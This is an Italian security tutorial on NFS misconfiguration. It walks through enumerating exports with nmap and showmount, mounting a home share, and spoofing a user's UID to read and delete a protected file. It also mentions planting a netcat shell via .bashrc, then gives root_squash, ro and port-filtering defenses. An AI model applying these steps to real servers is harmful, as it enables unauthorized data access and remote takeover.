VoIP and Hacking | Consulenza Documentazione

NFS è un complesso servizio di rete che, avvalendosi delle RPC, permette la condivisione di porzioni del filesystem da e verso altri host.
NFS è anche sovente implementato in modo insicuro, particolarmente sulle piattaforme Unix proprietarie più datate, dove le opzioni destinate ad incrementare il livello di sicurezza devono essere impostate in modo esplicito. Gli amministratori di sistema operano spesso sotto pressione e, in tale situazione, creare rapidamente una NFS share e renderla semplicemente disponibile con le impostazioni di default (praticamente a chiunque!), è una tentazione notevole.

Una buona indicazione della presenza di NFS su di un sistema è rappresentata dalla porta 2049 in stato open, ma non prova tuttavia la presenza di condivisioni.

# nmap -p 2049 192.168.1.200

Starting Nmap 5.00 ( http://nmap.org ) at 2010-02-02 00:44 CET
Interesting ports on 192.168.1.200:
PORT     STATE SERVICE
2049/tcp open  nfs
[...]

Un buon modo per determinarla è impartire il comando:

# showmount -e 192.168.1.200
Export list for 192.168.1.200:
/home/aldo     192.168.1.0/24
/home/giacomo  192.168.1.0/24
/home/giovanni 192.168.1.0/24

che, in questo caso indica proprio che le tre condivisioni sono state create da un amministratore frettoloso, che si è preoccupato solamente di restringerne l’accesso alla sottorete locale 192.168.1.0/24

Per montare una di tali NFS share su una directory della macchina locale:

# mkdir /nfs_mountpoint
# mount -t nfs 192.168.1.200:/home/aldo /nfs_mountpoint
# ls -la /nfs_mountpoint
total 5
drwxr-xr-x  2 1003 1006   80 2010-02-02 02:03 .
drwxr-xr-x 30 root root 1112 2010-02-02 00:28 ..
-rw-r--r--  1 1003 1006 3116 2009-02-28 02:05 .bashrc
-rw-r--r--  1 1003 1006 2038 2009-02-28 02:05 .profile
-rw------T  1 1003 1006   19 2010-02-02 01:09 segreto.txt

Dall’esame dell’output è possibile osservare alcune cose. Ad esempio che la condivisione NFS corrisponde ad una home directory di un utente UNIX (molto probabilmente l’utente aldo).
Una altra informazione che il sistema remoto ci offre è lo UID dell’utente.
In questo caso poi sono presenti un paio di tradizionali misure di sicurezza UNIX, rappresentate dalle permissioni e dall’ uso dello sticky bit, per fare in modo che solamente l’utente proprietario possa interagire col file di nome segreto.txt.
Al momento tali restrizioni non ci permettono di fare alcunché con quel file.

# cat segreto.txt
cat: segreto.txt: Permission denied
# rm segreto.txt
rm: segreto.txt: Permission denied

È tuttavia possibile aggirare i meccanismi delle permissions e dello sticky bit, confondendo il server remoto.

Usciamo dal mount point e smontiamo la share

# cd
# umount /nfs_mountpoint

creiamo un utente locale di nome aldo

# useradd aldo
# passwd aldo
[...]

Editiamo /etc/passwd e modifichiamo il suo UID in 1003

Rimontiamo la share come root nel sistema locale, e posizionandoci nella directory mount point diamo il comando

# su aldo

Dal momento che siamo l’utente root locale e che esiste un account locale chiamato aldo, lo possiamo fare (e senza che ci venga richiesta una password).
Dal momento che lo UID dell’utente locale aldo corrisponde allo UID dell’omonimo remoto, il sistema remoto ora crede che si tratti del proprio utente, permettendogli di fare ciò che vuole col file segreto.txt

$ cat segreto.txt
testo segretissimo
$ rm segreto.txt

Il pericolo non si limita a questo, dal momento che un attaccante potrebbe sfruttare la presenza degli scripts .bashrc e .profile per mandare in esecuzione dei comandi, ad esempio un netcat listener, dopo averlo caricato nella directory, il quale apra una porta, rendendo disponibile sulla macchina remota una shell interattiva.

Quella esaminata è una situazione limite, tuttavia non così improbabile.
Esistono ovviamente delle misure in grado di limitare l’eventualità che un accesso così semplice possa avere luogo, e nel caso in cui si verifichi, portare a danni peggiori della lettura di un file privato:

ad esempio utilizzare le opzioni ro e root_squash option nel file /etc/exports del server:

/home/aldo 192.168.1.0/24(ro,root_squash)

In tal modo, se un utente con UID 0 sul client tenta di accedere (read, write, delete) al file system il server gli attribuisce lo UID del proprio account “nobody”; il ché significha che l’utente root sul client non può accedere o effettuare modifiche ai files cui solo l’utente root del server può accedere o modificare.
L’utente root sul client può ancora usare ’su’ per diventare ogni altro utente ed accedere in lettura ai files dell’utente legittimo, tuttavia l’impostazione root_squash è fondamentale, se si ha l’accortezza di fare in modo che sul server tutti i binari importanti appartengano a root, e non a bin o altri account non-root, dato che il solo account cui l’utente root degli NFS clients non può accedere è l’account root del server.
L’opzione ro (read-only) non consente di caricare più alcun tool nè di modificare alcun files presente, ma taglia fuori da ciò anche il suo legittimo proprietario quando accede alla condivisione.

È inoltre una buona idea filtrare le porte che nfs e portmap utilizzano. Il demone nfsd opera sulla porta 2049, sia per udp che per tcp. Il portmapper sulla porta 111, tcp ed udp, mentre mountd sulle porte 745 e 747, tcp ed udp. Si può verificare quali porte siano in uso col comando rpcinfo -p .

Send post as PDF to